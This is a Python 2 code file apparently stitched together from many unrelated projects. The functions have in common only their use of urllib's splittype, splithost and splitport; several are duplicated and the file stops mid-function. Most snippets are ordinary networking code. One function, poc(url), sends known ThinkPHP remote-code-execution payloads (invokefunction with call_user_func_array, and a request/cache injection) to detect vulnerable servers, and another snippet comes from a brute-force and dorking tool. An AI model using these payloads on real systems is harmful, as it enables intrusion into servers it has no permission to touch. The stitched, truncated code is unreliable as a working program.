def parse_address_info(cls, server_addr="nats://*****:*****@127.0.0.1:4222"):
'''\
parse the metadata nats server uri;
Params:
=====
addr: nats server address;
Returns:
=====
user: username to login nats server;
pswd: password to login nats server;
host: ip address of nats server;
port: port of nats server
'''
if type(server_addr) is not str:
raise NotImplementException
protocol, after_split = urllib.splittype(server_addr)
if not protocol == "nats":
raise NotImplementException
auth_len = len(server_addr.split('@'))
if auth_len > 1:
auth, after_split = urllib.splituser(after_split)
user_raw, pswd = urllib.splitpasswd(auth)
user = user_raw.lstrip("/")
_, after_split = urllib.splithost(after_split)
host, port = urllib.splitport(after_split)
else:
user = pswd = None
host, port = urllib.splitport(after_split)
return user, pswd, host, int(port)
def __init__(self, uri, transport=None, encoding=None,
verbose=0, version=None):
import urllib
if not version:
version = config.version
self.__version = version
schema, uri = urllib.splittype(uri)
if schema not in ('http', 'https', 'unix'):
raise IOError('Unsupported JSON-RPC protocol.')
if schema == 'unix':
if not USE_UNIX_SOCKETS:
# Don't like the "generic" Exception...
raise UnixSocketMissing("Unix sockets not available.")
self.__host = uri
self.__handler = '/'
else:
self.__host, self.__handler = urllib.splithost(uri)
if not self.__handler:
# Not sure if this is in the JSON spec?
#self.__handler = '/'
self.__handler == '/'
if transport is None:
if schema == 'unix':
transport = UnixTransport()
elif schema == 'https':
transport = SafeTransport()
else:
transport = Transport()
self.__transport = transport
self.__encoding = encoding
self.__verbose = verbose
print(urllib.splitport(self.__host))
self.__sock=socks.create_connection( (urllib.splitport(self.__host)))
self.__sock.settimeout(0.1)
def parse_address_info(cls, server_addr="nats://*****:*****@127.0.0.1:4222"):
'''\
parse the metadata nats server uri;
Params:
=====
addr: nats server address;
Returns:
=====
user: username to login nats server;
pswd: password to login nats server;
host: ip address of nats server;
port: port of nats server
'''
if type(server_addr) is not str:
raise NotImplementException
protocol, after_split = urllib.splittype(server_addr)
if not protocol == "nats":
raise NotImplementException
auth_len = len(server_addr.split('@'))
if auth_len > 1:
auth, after_split = urllib.splituser(after_split)
user_raw, pswd = urllib.splitpasswd(auth)
user = user_raw.lstrip("/")
_, after_split = urllib.splithost(after_split)
host, port = urllib.splitport(after_split)
else:
user = pswd = None
host, port = urllib.splitport(after_split)
return user, pswd, host, int(port)
def isKnownServer(self, URL):
net, nhost, path, query, id = urlparse.urlsplit(URL)
nhost, port = urllib.splitport(nhost);
for kURL in self.__SourceURLs:
net, khost, path, query, id = urlparse.urlsplit(kURL);
khost, port = urllib.splitport(khost);
if nhost == khost: return True;
return False;
def open_local_file(self, req):
import email.utils
import mimetypes
host = req.get_host()
filename = req.get_selector()
localfile = url2pathname(filename)
try:
stats = os.stat(localfile)
size = stats.st_size
modified = email.utils.formatdate(stats.st_mtime, usegmt=True)
mtype = mimetypes.guess_type(filename)[0]
headers = mimetools.Message(
StringIO(
"Content-type: %s\nContent-length: %d\nLast-modified: %s\n"
% (mtype or "text/plain", size, modified)
)
)
if host:
host, port = splitport(host)
if not host or (not port and _safe_gethostbyname(host) in self.get_names()):
if host:
origurl = "file://" + host + filename
else:
origurl = "file://" + filename
return addinfourl(open(localfile, "rb"), headers, origurl)
except OSError, msg:
# urllib2 users shouldn't expect OSErrors coming from urlopen()
raise URLError(msg)
def createFileObject(filename=None, format=None, buat_target_dir=True):
"""
membuat file-object untuk membuat file hasil
"""
basedir = getOutputDir()
if buat_target_dir:
dirname = "/" + urllib.splitport(target.HOST)[0]
else:
dirname = "/dorking"
outdir = basedir + dirname
if not os.path.exists(outdir):
try:
os.mkdir(outdir)
except OSError, ex:
if "no space left" in ex.args[1]:
raise W3bruteQuitException(*ex.args)
warnMsg = "[WARNING] '%s' '%s'. use default output directory '%s'\n" % (ex.args[1], outdir, defaults.outputDir)
cetakData(warnMsg)
# atur kembali ke default output directory
# jika directory yang anda masukan tidak valid.
konf.outputDir = defaults.outputDir
outdir = getOutputDir()
outdir = outdir + dirname
if not os.path.exists(outdir):
os.mkdir(outdir)
def __init__(self, url):
""" Initialize the downloader with the specified url string """
# FIXME: support HTTPS
scheme, host, path, params, query, fragment = urlparse.urlparse(url)
auth, host = urllib.splituser(host)
self.host, self.port = urllib.splitport(host)
if not self.port:
self.port = 80
self.username = self.password = None
if auth:
self.username, self.password = urllib.splitpasswd(auth)
self.url = urlparse.urlunparse((scheme, host, path, params, query, fragment))
self.nzbFilename = os.path.basename(path)
self.tempFilename = os.path.join(Hellanzb.TEMP_DIR,
tempFilename(self.TEMP_FILENAME_PREFIX) + '.nzb')
# The HTTPDownloader
self.downloader = None
# The NZB category (e.g. 'Apps')
self.nzbCategory = None
# Whether or not the NZB file data is gzipped
self.isGzipped = False
def poc(url):
flag = None
if url.startswith('http://') or url.startswith('https://'):
protocol, s1 = urllib.splittype(url)
host, s2 = urllib.splithost(s1)
host, port = urllib.splitport(host)
port = port if port != None else 443 if protocol == 'https' else 80
base_url = protocol + "://" + host + ":" + str(port) + '/'
else:
base_url = 'http://' + url +'/'
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
for path in ['','public/']:
try:
pocs = ["index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1",
"index.php?s=/index/\\think\\request/cache&key=1|phpinfo"]
for poc in pocs:
res = requests.get(base_url + path + poc, headers=headers,timeout = 3,verify = False)
if res != None and 'PHP Version' in res.text:
flag = base_url + path + poc
break
except:
pass
if flag !=None :
print "[+] The ThinkPHP vul is exist: %s" % flag
else:
print "[-] The ThinkPHP vul is not exist: %s" % base_url
def connect_to(url, options={}):
conn = ScarabConnection(options)
# FIXME this should take the lower-level protocol and produce
# a connection that can do either multiple or one-shot
# connections. For right now, we assume it's a TCP
# connection, hence a socket stream
type, path = splittype(url)
host, dummy_path = splithost(path)
host, port = splitport(host)
if port == None:
raise "no port defined and no defaults yet"
port = int(port)
from socket import *
conn.socket = socket(AF_INET, SOCK_STREAM)
conn.socket.connect(host, port)
conn.stream = conn.socket.makefile('r+')
# FIXME we assume one pickler instance, too, for that stream
conn.pickler = conn.pickler_class(conn.stream)
conn.unpickler = conn.unpickler_class(conn.stream)
return conn
def __init__(self, username=None, password=None, serverurl=None):
self.username = username
self.password = password
self.verbose = False
self.serverurl = serverurl
if serverurl.startswith('http://'):
type, uri = urllib.splittype(serverurl)
host, path = urllib.splithost(uri)
host, port = urllib.splitport(host)
if port is None:
port = 80
else:
port = int(port)
def get_connection(host=host, port=port):
return httplib.HTTPConnection(host, port)
self._get_connection = get_connection
elif serverurl.startswith('unix://'):
def get_connection(serverurl=serverurl):
# we use 'localhost' here because domain names must be
# < 64 chars (or we'd use the serverurl filename)
conn = UnixStreamHTTPConnection('localhost')
conn.socketfile = serverurl[7:]
return conn
self._get_connection = get_connection
else:
raise ValueError('Unknown protocol for serverurl %s' % serverurl)
def config(self, config_dict):
self.host = config_dict['url']
self.db_name = config_dict['db_name']
self.username = config_dict['username']
self.password = config_dict['password']
self.user_table = config_dict['user_table']
self.host, port = urllib.splitport(str(config_dict['url']))
try:
self.port = int(port)
except Exception:
self.port = 3306
#进行数据库的连接
try:
self.connection = pymysql.connect(host=self.host,
port=self.port,
user=self.username,
passwd=self.password,
db=self.db_name,
charset="utf8")
print 'database connect success!'
except BaseException as e:
print e
print '[Fail]database config Fails...'
return False
return True
def __init__(self, url):
self.scheme, self.netloc, self.path, query, self.fragment = \
urlparse.urlsplit(url)
self.user, self.host = urllib.splituser(self.netloc)
if not self.user:
try: # get userid from current user
self.user = pwd.getpwuid(os.getuid())[0]
except KeyError:
self.user = "******"
self.user = self.user or ""
self.userid = self.username = self.user # aliases
self.adapter = self.scheme
self.host, self.port = urllib.splitport(self.host)
self.user, self.password = urllib.splitpasswd(self.user or "")
self.password = self.password or ""
self.path = self.path[1:]
self.database = self.path
if query:
try:
self.query = dict([
(k, urllib.unquote_plus(v)) for k, v in
[e.split("=", 1) for e in self.query.split("&", 1)]
])
except ValueError, e:
raise ValueError, "Query part in url cannot be parsed: %r (%s)" % (
self.query, e)
def request(self, method, url, body=None, headers={}):
# Dissect the url to determine the protocol. Store it in the instance variable.
self.protocol, stuffAfterProtocol = urllib.splittype(url)
# Check to make sure we got some kind of protocol
if self.protocol is None:
raise ValueError, "Unknown protocol type in " + url
# Parse out the host from the URL resource. host should be something like www.example.com or www.example.com:8888
# and resourceString should be something like /example.html
host, resourceString = urllib.splithost(stuffAfterProtocol)
# Parse out the port from the host
host, port = urllib.splitport(host)
# It is possible that port is not defined. In that case we go by the protocol
if port is None:
# List of common protocol to port mappings
protocolToPortMapping = {'http' : 80, 'https' : 443}
# Check if the protocol is in the list
if self.protocol in protocolToPortMapping:
protocolToPortMapping[self.protocol]
self._real_port = protocolToPortMapping[self.protocol]
else:
raise ValueError, "Unknown port for protocol " + str(self.protocol)
else:
self._real_port = port
self._real_host = host
httplib.HTTPConnection.request(self, method, url, body, headers)
def with_port(self, port):
if self.scheme in SCHEME_PORT_MAP:
if SCHEME_PORT_MAP[self.scheme] == port:
return self.without_port()
host, _ = urllib.splitport(self.host)
return self.with_host(host + ':' + str(port))
def open_url(method, url):
redirectcount = 0
while redirectcount < 3:
(type, rest) = urllib.splittype(url)
(host, path) = urllib.splithost(rest)
(host, port) = urllib.splitport(host)
if type == "https":
if port == None:
port = 443
elif port == None:
port = 80
try:
conn = None
if type == "http":
conn = httplib.HTTPConnection("%s:%s" % (host, port))
else:
conn = httplib.HTTPSConnection("%s:%s" % (host, port))
conn.request(method, path)
response = conn.getresponse()
if response.status in [301, 302, 303, 307]:
headers = response.getheaders()
for header in headers:
if header[0] == "location":
url = header[1]
elif response.status == 200:
return response
except:
pass
redirectcount = redirectcount + 1
return None
def console(container):
import urllib
host, _ = urllib.splitport(request.host)
vars = {'container': container, 'host': host}
console_url = settings.web_shell_host % vars
return redirect(console_url)
def server_on(url='', options={}):
conn = ScarabConnection(options)
# url defaults to '', but may be passed as None by user
if url == None:
url = ''
conn.lower = url
# FIXME see FIXME in Scarab.server()
host, dummy_path = splithost(url)
if host == None:
host = ''
port = None
else:
host, port = splitport(host)
if port == None:
port = 0
from socket import *
conn.socket = socket(AF_INET, SOCK_STREAM)
conn.socket.bind(host, port)
conn.socket.listen(1)
ip_addr, ip_port = conn.socket.getsockname()
if ip_addr == '0.0.0.0':
ip_host, dummy, dummy = gethostbyaddr(gethostname())
else:
ip_host, aliases, ip_addrs = gethostbyaddr(ip_addr)
conn.url = 'ANY:tcp://' + ip_host + ':' + str(ip_port) + '/'
conn.log_info("server opened on " + conn.url)
return conn
def dnslookup(url):
"""Replaces a hostname by its IP in an url.
Uses gethostbyname to do a DNS lookup, so the nscd cache is used.
If gevent has patched the standard library, makes sure it uses the
original version because gevent uses its own mechanism based on
the async libevent's evdns_resolve_ipv4, which does not use
glibc's resolver.
"""
try:
from gevent.socket import _socket
gethostbyname = _socket.gethostbyname
except ImportError:
import socket
gethostbyname = socket.gethostbyname
# parsing
parsed_url = urlparse.urlparse(url)
host, port = urllib.splitport(parsed_url.netloc)
user, host = urllib.splituser(host)
# resolving the host
host = gethostbyname(host)
# recomposing
if port is not None:
host = '%s:%s' % (host, port)
if user is not None:
host = '%s@%s' % (user, host)
parts = [parsed_url[0]] + [host] + list(parsed_url[2:])
return urlparse.urlunparse(parts)
def open_local_file(self, req):
host = req.get_host()
file = req.get_selector()
localfile = urllib2.url2pathname(file)
stats = os.stat(localfile)
size = stats.st_size
modified = formatdate(stats.st_mtime, usegmt=True)
mtype = mimetypes.guess_type(file)[0]
headers = mimetools.Message(cStringIO.StringIO(
'Content-type: %s\nContent-length: %d\nLast-modified: %s\n' %
(mtype or 'text/plain', size, modified)))
if host:
host, port = urllib.splitport(host)
if not host or \
(not port and socket.gethostbyname(host) in self.get_names()):
try:
file_list = dircache.listdir(localfile)
s = cStringIO.StringIO()
s.write('<html><head><base href="%s"/></head><body>' % ('file:' + file))
s.write('<p>Directory Content:</p>')
for f in file_list:
s.write('<p><a href="%s">%s</a></p>\n' % (urllib.quote(f), f))
s.write('</body></html>')
s.seek(0)
headers = mimetools.Message(cStringIO.StringIO(
'Content-type: %s\nContent-length: %d\nLast-modified: %s\n' %
('text/html', size, modified)))
return urllib2.addinfourl(s, headers, 'file:' + file)
except OSError:
return urllib2.addinfourl(open(localfile, 'rb'),
headers, 'file:'+file)
raise urllib2.URLError('file not on local host')
def get_server_url(self):
""" Functionality that medusa's http request doesn't have; set an
attribute named 'server_url' on the request based on the Host: header
"""
default_port={'http': '80', 'https': '443'}
environ = self.cgi_environment()
if (environ.get('HTTPS') in ('on', 'ON') or
environ.get('SERVER_PORT_SECURE') == "1"):
# XXX this will currently never be true
protocol = 'https'
else:
protocol = 'http'
if environ.has_key('HTTP_HOST'):
host = environ['HTTP_HOST'].strip()
hostname, port = urllib.splitport(host)
else:
hostname = environ['SERVER_NAME'].strip()
port = environ['SERVER_PORT']
if (port is None or default_port[protocol] == port):
host = hostname
else:
host = hostname + ':' + port
server_url = '%s://%s' % (protocol, host)
if server_url[-1:]=='/':
server_url=server_url[:-1]
return server_url
def request(self, method, url, body=None, headers={}):
# Dissect the url to determine the protocol. Store it in the instance variable.
self.protocol, stuffAfterProtocol = urllib.splittype(url)
# Check to make sure we got some kind of protocol
if self.protocol is None:
raise ValueError, "Unknown protocol type in " + url
# Parse out the host from the URL resource. host should be something like www.example.com or www.example.com:8888
# and resourceString should be something like /example.html
host, resourceString = urllib.splithost(stuffAfterProtocol)
# Parse out the port from the host
host, port = urllib.splitport(host)
# It is possible that port is not defined. In that case we go by the protocol
if port is None:
# List of common protocol to port mappings
protocolToPortMapping = {'http': 80, 'https': 443}
# Check if the protocol is in the list
if self.protocol in protocolToPortMapping:
protocolToPortMapping[self.protocol]
self._real_port = protocolToPortMapping[self.protocol]
else:
raise ValueError, "Unknown port for protocol " + str(
self.protocol)
else:
self._real_port = port
self._real_host = host
httplib.HTTPConnection.request(self, method, url, body, headers)
def __send(self, scgireq):
scheme, netloc, path, query, frag = urlparse.urlsplit(self.url)
host, port = urllib.splitport(netloc)
# ~ print '>>>', (netloc, host, port)
if netloc:
addrinfo = socket.getaddrinfo(host, port, socket.AF_INET, socket.SOCK_STREAM)
assert len(addrinfo) == 1, "There's more than one? %r" % addrinfo
# ~ print addrinfo
sock = socket.socket(*addrinfo[0][:3])
sock.connect(addrinfo[0][4])
else:
# if no host then assume unix domain socket
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect(path)
sock.send(scgireq)
recvdata = resp = sock.recv(1024)
while recvdata != "":
recvdata = sock.recv(1024)
# ~ print 'Trying to receive more: %r'%recvdata
resp += recvdata
sock.close()
return resp
def GetHostPort(self,url):
proto,rest=urllib.splittype(url)
host,rest=urllib.splithost(rest)
host,port=urllib.splitport(host)
if port is None:
port = 80
return host ,port
def open_local_file(self, req):
try:
import email.utils as emailutils
except ImportError:
# python 2.4
import email.Utils as emailutils
import mimetypes
host = req.get_host()
file = req.get_selector()
localfile = url2pathname(file)
try:
stats = os.stat(localfile)
size = stats.st_size
modified = emailutils.formatdate(stats.st_mtime, usegmt=True)
mtype = mimetypes.guess_type(file)[0]
headers = mimetools.Message(StringIO(
'Content-type: %s\nContent-length: %d\nLast-modified: %s\n' %
(mtype or 'text/plain', size, modified)))
if host:
host, port = splitport(host)
if not host or \
(not port and socket.gethostbyname(host) in self.get_names()):
return addinfourl(open(localfile, 'rb'),
headers, 'file:' + file)
except OSError, msg:
# urllib2 users shouldn't expect OSErrors coming from urlopen()
raise URLError(msg)
def url_permutations(url):
"""Try all permutations of hostname and path which can be applied
to blacklisted URLs"""
def url_host_permutations(host):
if re.match(r'\d+\.\d+\.\d+\.\d+', host):
yield host
return
parts = host.split('.')
l = min(len(parts),5)
if l > 4:
yield host
for i in xrange(l-1):
yield '.'.join(parts[i-l:])
def url_path_permutations(path):
if path != '/':
yield path
query = None
if '?' in path:
path, query = path.split('?', 1)
if query is not None:
yield path
path_parts = path.split('/')[0:-1]
curr_path = ''
for i in xrange(min(4, len(path_parts))):
curr_path = curr_path + path_parts[i] + '/'
yield curr_path
protocol, address_str = urllib.splittype(url)
host, path = urllib.splithost(address_str)
user, host = urllib.splituser(host)
host, port = urllib.splitport(host)
host = host.strip('/')
for h in url_host_permutations(host):
for p in url_path_permutations(path):
yield '%s%s' % (h, p)
def request(self, method, url, body=None, headers={}):
"""
Make CONNECT request to proxy.
"""
proto, rest = urllib.splittype(url)
if proto is None:
raise ValueError, "unknown URL type: %s" % url
# Get hostname.
host = urllib.splithost(rest)[0]
# Get port of one
host, port = urllib.splitport(host)
# When no port use hardcoded.
if port is None:
try:
port = self._ports[proto]
except KeyError:
raise ValueError, "unknown protocol for: %s" % url
# Remember.
self._real_host = host
self._real_port = port
# Remember auth if there.
if headers.has_key("Proxy-Authorization"):
self._proxy_authorization = headers["Proxy-Authorization"]
del headers["Proxy-Authorization"]
else:
self._proxy_authorization = None
httplib.HTTPConnection.request(self, method, url, body, headers)
def getChild (self, path, request, ) :
_host_orig = urllib.splitport(request.getHeader("host"), )[0]
_key = "%s:%s" % ("https" if request.isSecure() else "http", _host_orig, )
try :
_to = self._config.get(_key, "to", )
except ConfigParser.NoSectionError :
return BadRequestErrorPage()
_p = urlparse.urlsplit(_to, )
(_host, _port, ) = urllib.splitnport(_p.netloc, 443 if _p.scheme == "https" else 80, )
if not self._without_x_forwarded_for :
_headers = request.getAllHeaders()
_xf = ("%s, " % self.RE_REMOVE_COMMA.sub(
"", _headers.get('x-forwarded-for')).strip()
) if "x-forwarded-for" in _headers else ""
_x_forwarded_for = _xf + request.client.host
_x_forwarded_proto = "https" if request.isSecure() else "http"
request.received_headers['x-forwarded-for'] = _x_forwarded_for
request.received_headers['x-forwarded-proto'] = _x_forwarded_proto
request.received_headers['host-original'] = _host_orig
request.content.seek(0, 0)
return ReverseProxyResource(
_host,
_port,
"/" + path if path else "/",
reactor=FakeReactor(self._timeout, ),
)
def request(self, method, path, headers=None, data=None, etag=None, etagnot=None, timeout=None):
"""Make HTTP request. Return HTTPResponse instance.
Will never raise urllib2.HTTPError, but may raise other exceptions, such
as urllib2.URLError or httplib.HTTPException
"""
if path[:1]=='/':
path = path[1:]
if headers is None:
headers = {}
if etag is not None:
headers['If-Match'] = '"%s"' % etag if etag!='*' else '*' # XXX use quoteString instead?
if etagnot is not None:
headers['If-None-Match'] = ('"%s"' % etagnot) if etagnot!='*' else '*'
url = self.base_url+path
req = HTTPRequest(url, method=method, headers=headers, data=data)
host, port = urllib.splitport(req.get_host())
HostCache.lookup(host)
try:
response = self.opener.open(req, timeout=timeout)
if isinstance(response, urllib2.HTTPError):
return HTTPResponse.from_HTTPError(response)
elif isinstance(response, urllib2.addinfourl):
return HTTPResponse.from_addinfourl(response)
else:
raise RuntimeError('urllib2.open returned %r' % response)
except urllib2.HTTPError, e:
# Workaround for bug in urllib2 which doesn't reset the retry count
# when a negative, but different that 401 or 407, response is
# received. -Luci
if e.code not in (401, 407):
for handler in (handler for handler in self.opener.handlers if isinstance(handler, (urllib2.HTTPDigestAuthHandler, urllib2.ProxyDigestAuthHandler))):
handler.reset_retry_count()
return HTTPResponse.from_HTTPError(e)
def __init__(self, url):
""" Initialize the downloader with the specified url string """
# FIXME: support HTTPS
scheme, host, path, params, query, fragment = urlparse.urlparse(url)
auth, host = urllib.splituser(host)
self.host, self.port = urllib.splitport(host)
if not self.port:
self.port = 80
self.username = self.password = None
if auth:
self.username, self.password = urllib.splitpasswd(auth)
self.url = urlparse.urlunparse(
(scheme, host, path, params, query, fragment))
self.nzbFilename = os.path.basename(path)
self.tempFilename = os.path.join(
Hellanzb.TEMP_DIR,
tempFilename(self.TEMP_FILENAME_PREFIX) + '.nzb')
# The HTTPDownloader
self.downloader = None
# The NZB category (e.g. 'Apps')
self.nzbCategory = None
# Whether or not the NZB file data is gzipped
self.isGzipped = False
def url_permutations(url):
"""Try all permutations of hostname and path which can be applied
to blacklisted URLs"""
def url_host_permutations(host):
if re.match(r'\d+\.\d+\.\d+\.\d+', host):
yield host
return
parts = host.split('.')
l = min(len(parts),5)
if l > 4:
yield host
for i in xrange(l-1):
yield '.'.join(parts[i-l:])
def url_path_permutations(path):
if path != '/':
yield path
query = None
if '?' in path:
path, query = path.split('?', 1)
if query is not None:
yield path
path_parts = path.split('/')[0:-1]
curr_path = ''
for i in xrange(min(4, len(path_parts))):
curr_path = curr_path + path_parts[i] + '/'
yield curr_path
protocol, address_str = urllib.splittype(url)
host, path = urllib.splithost(address_str)
user, host = urllib.splituser(host)
host, port = urllib.splitport(host)
host = host.strip('/')
for h in url_host_permutations(host):
for p in url_path_permutations(path):
yield '%s%s' % (h, p)
def _get_host_from_uri (self, uri):
hostport = None
host = None
dnssdhost = None
(scheme, rest) = urllib.splittype (uri)
if scheme == 'hp' or scheme == 'hpfax':
if rest.startswith ("/net/"):
(rest, ipparam) = urllib.splitquery (rest[5:])
if ipparam != None and ipparam.startswith("ip="):
hostport = ipparam[3:]
else:
if ipparam != None and ipparam.startswith("zc="):
dnssdhost = ipparam[3:]
else:
return None, None
else:
return None, None
elif scheme == 'dnssd' or scheme == 'mdns':
# The URIs of the CUPS "dnssd" backend do not contain the host
# name of the printer
return None, None
else:
(hostport, rest) = urllib.splithost (rest)
if hostport == None:
return None, None
if hostport:
(host, port) = urllib.splitport (hostport)
return host, dnssdhost
def _get_real_authority(self):
"""
Return the authority specification of the originally requested URL.
The return value is a string of the form <host>:<port>.
"""
url = self._proxy_request.get_selector()
proto, rest = urllib.splittype(url)
if proto is None:
raise ValueError("unknown URL type: %s" % url)
# Get the host and port specification
host, rest = urllib.splithost(rest)
host, port = urllib.splitport(host)
# If port is not defined, then try to get it from the protocol.
if port is None:
try:
port = self._ports[proto]
except KeyError:
raise ValueError("unknown protocol for: %s" % url)
return '%s:%d' % (host, port)
def get_base_url(url):
protocol, s1 = urllib.splittype(url)
host, s2 = urllib.splithost(s1)
host, port = urllib.splitport(host)
port = port if port != None else 443 if protocol == 'https' else 80
base_url = protocol + "://" + host + ":" + str(port)
return base_url, host, port
def get_host_from_url(url):
protocol, s1 = urllib.splittype(url)
host, s2 = urllib.splithost(s1)
host, port = urllib.splitport(host)
if port is None:
port = 80
return host, port
def ftp_open(self, req):
host = req.get_host()
if not host:
raise IOError, ('ftp error', 'no host given')
# XXX handle custom username & password
host = socket.gethostbyname(host)
host, port = splitport(host)
if port is None:
port = ftplib.FTP_PORT
path, attrs = splitattr(req.get_selector())
path = unquote(path)
dirs = string.splitfields(path, '/')
dirs, file = dirs[:-1], dirs[-1]
if dirs and not dirs[0]:
dirs = dirs[1:]
user = passwd = '' # XXX
try:
fw = self.connect_ftp(user, passwd, host, port, dirs)
type = file and 'I' or 'D'
for attr in attrs:
attr, value = splitattr(attr)
if string.lower(attr) == 'type' and \
value in ('a', 'A', 'i', 'I', 'd', 'D'):
type = string.upper(value)
fp, retrlen = fw.retrfile(file, type)
if retrlen is not None and retrlen >= 0:
sf = StringIO('Content-Length: %d\n' % retrlen)
headers = mimetools.Message(sf)
else:
headers = noheaders()
return addinfourl(fp, headers, req.get_full_url())
except ftplib.all_errors, msg:
raise IOError, ('ftp error', msg), sys.exc_info()[2]
def _get_host_from_uri(self, uri):
hostport = None
host = None
dnssdhost = None
(scheme, rest) = urllib.splittype(uri)
if scheme == 'hp' or scheme == 'hpfax':
if rest.startswith("/net/"):
(rest, ipparam) = urllib.splitquery(rest[5:])
if ipparam != None and ipparam.startswith("ip="):
hostport = ipparam[3:]
else:
if ipparam != None and ipparam.startswith("zc="):
dnssdhost = ipparam[3:]
else:
return None, None
else:
return None, None
elif scheme == 'dnssd' or scheme == 'mdns':
# The URIs of the CUPS "dnssd" backend do not contain the host
# name of the printer
return None, None
else:
(hostport, rest) = urllib.splithost(rest)
if hostport == None:
return None, None
if hostport:
(host, port) = urllib.splitport(hostport)
if type(host) == unicode:
host = host.encode('utf-8')
if type(dnssdhost) == unicode:
dnssdhost = dnssdhost.encode('utf-8')
return host, dnssdhost
def __init__(self, ec2_url, ec2_region, ec2_access_key, ec2_secret_key,
vpc=None, storage_path=None, request_floating_ip=False):
self._url = ec2_url
self._region_name = ec2_region
self._access_key = ec2_access_key
self._secret_key = ec2_secret_key
self._vpc = vpc
self.request_floating_ip = request_floating_ip
# read all parameters from url
proto, opaqueurl = urllib.splittype(ec2_url)
self._host, self._ec2path = urllib.splithost(opaqueurl)
self._ec2host, port = urllib.splitport(self._host)
if port:
port = int(port)
self._ec2port = port
if proto == "https":
self._secure = True
else:
self._secure = False
# will be initialized upon first connect
self._ec2_connection = None
self._vpc_connection = None
self._vpc_id = None
self._region = None
self._instances = {}
self._cached_instances = []
self._images = None
def single_request(self, host, handler, request_body, verbose=0):
# Add SCGI headers to the request.
headers = {'CONTENT_LENGTH': str(len(request_body)), 'SCGI': '1'}
header = '\x00'.join(
('%s\x00%s' % item for item in headers.iteritems())) + '\x00'
header = '%d:%s' % (len(header), header)
request_body = '%s,%s' % (header, request_body)
sock = None
try:
if host:
host, port = urllib.splitport(host)
addrinfo = socket.getaddrinfo(host, port, socket.AF_INET,
socket.SOCK_STREAM)
sock = socket.socket(*addrinfo[0][:3])
sock.connect(addrinfo[0][4])
else:
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect(handler)
self.verbose = verbose
sock.send(request_body)
return self.parse_response(sock.makefile())
finally:
if sock:
sock.close()
def open_local_file(self, req):
import mimetypes
import mimetools
host = req.get_host()
file = req.get_selector()
localfile = urllib.url2pathname(file)
stats = os.stat(localfile)
size = stats[stat.ST_SIZE]
modified = rfc822.formatdate(stats[stat.ST_MTIME])
mtype = mimetypes.guess_type(file)[0]
if host:
host, port = urllib.splitport(host)
if port or socket.gethostbyname(host) not in self.get_names():
raise urllib2.URLError('file not on local host')
fo = open(localfile,'rb')
brange = req.headers.get('Range', None)
brange = range_header_to_tuple(brange)
assert brange != ()
if brange:
(fb, lb) = brange
if lb == '':
lb = size
if fb < 0 or fb > size or lb > size:
raise RangeError('Requested Range Not Satisfiable')
size = (lb - fb)
fo = RangeableFileObject(fo, (fb, lb))
headers = mimetools.Message(StringIO(
'Content-Type: %s\nContent-Length: %d\nLast-Modified: %s\n' %
(mtype or 'text/plain', size, modified)))
return urllib.addinfourl(fo, headers, 'file:'+file)
def single_request(self, host, handler, request_body, verbose=0):
# Add SCGI headers to the request.
headers = {'CONTENT_LENGTH': str(len(request_body)), 'SCGI': '1'}
header = '\x00'.join(('%s\x00%s' % item for item in headers.iteritems())) + '\x00'
header = '%d:%s' % (len(header), header)
request_body = '%s,%s' % (header, request_body)
sock = None
try:
if host:
host, port = urllib.splitport(host)
addrinfo = socket.getaddrinfo(host, port, socket.AF_INET,
socket.SOCK_STREAM)
sock = socket.socket(*addrinfo[0][:3])
sock.connect(addrinfo[0][4])
else:
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect(handler)
self.verbose = verbose
sock.send(request_body)
return self.parse_response(sock.makefile())
finally:
if sock:
sock.close()
def compile(self):
"""Validate the user submitted url address at compile stage.
The url address will be tested with the configured regex patterns
loaded from :attr:`BaseHost.compiler_params`.
Refer to :ref:`hwnetapi` for more details about the rules.
"""
if self.config['urlrule']:
p = re.compile(self.config['urlrule'])
if not p.match(self.config['remote_addr']):
raise NetApiAddressRejected(compile_error=lazy_gettext(
'Address "%(url)s" does not match pattern "%(rule)s"',
url=self.config['remote_addr'], rule=self.config['urlrule']
))
if self.config['iprule']:
domain = urllib.splitport(
urllib.splithost(
urllib.splittype(self.config['remote_addr'])[1]
)[0]
)[0]
# get ip from domain
try:
ipaddr = socket.gethostbyname(domain)
except Exception:
logger.exception(
'Could not get ip address for domain "%s".' % domain)
ipaddr = '<invalid>'
# ip not match, skip
p = re.compile(self.config['iprule'])
if not p.match(ipaddr):
raise NetApiAddressRejected(compile_error=lazy_gettext(
'IP address "%(ip)s" does not match pattern "%(rule)s"',
ip=ipaddr, rule=self.config['iprule']
))
def __send(self, scgireq):
scheme, netloc, path, query, frag = urlparse.urlsplit(self.url)
host, port = urllib.splitport(netloc)
#~ print '>>>', (netloc, host, port)
if netloc:
addrinfo = socket.getaddrinfo(host, port, socket.AF_INET,
socket.SOCK_STREAM)
assert len(addrinfo) == 1, "There's more than one? %r" % addrinfo
#~ print addrinfo
sock = socket.socket(*addrinfo[0][:3])
sock.connect(addrinfo[0][4])
else:
# if no host then assume unix domain socket
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect(path)
sock.send(scgireq)
recvdata = resp = sock.recv(1024)
while recvdata != '':
recvdata = sock.recv(1024)
#~ print 'Trying to receive more: %r'%recvdata
resp += recvdata
sock.close()
return resp
def test_node(request):
"""Runs an SSH call on a node."""
if authenticated_userid(request) is None:
raise Forbidden()
# trying an ssh connection
connection = paramiko.client.SSHClient()
connection.load_system_host_keys()
connection.set_missing_host_key_policy(paramiko.WarningPolicy())
name = request.matchdict['name']
host, port = urllib.splitport(name)
if port is None:
port = 22
username, host = urllib.splituser(host)
credentials = {}
if username is not None and ':' in username:
username, password = username.split(':', 1)
credentials = {"username": username, "password": password}
elif username is not None:
password = None
credentials = {"username": username}
try:
connection.connect(host, port=port, timeout=5, **credentials)
return 'Connection to %r : OK' % name
except (socket.gaierror, socket.timeout), error:
return str(error)
def request(self, method, url, body=None, headers={}):
# Request is called before connect, so can interpret url and get
# real host/port to be used to make CONNECT request to proxy
proto, rest = urllib.splittype(url)
if proto is None:
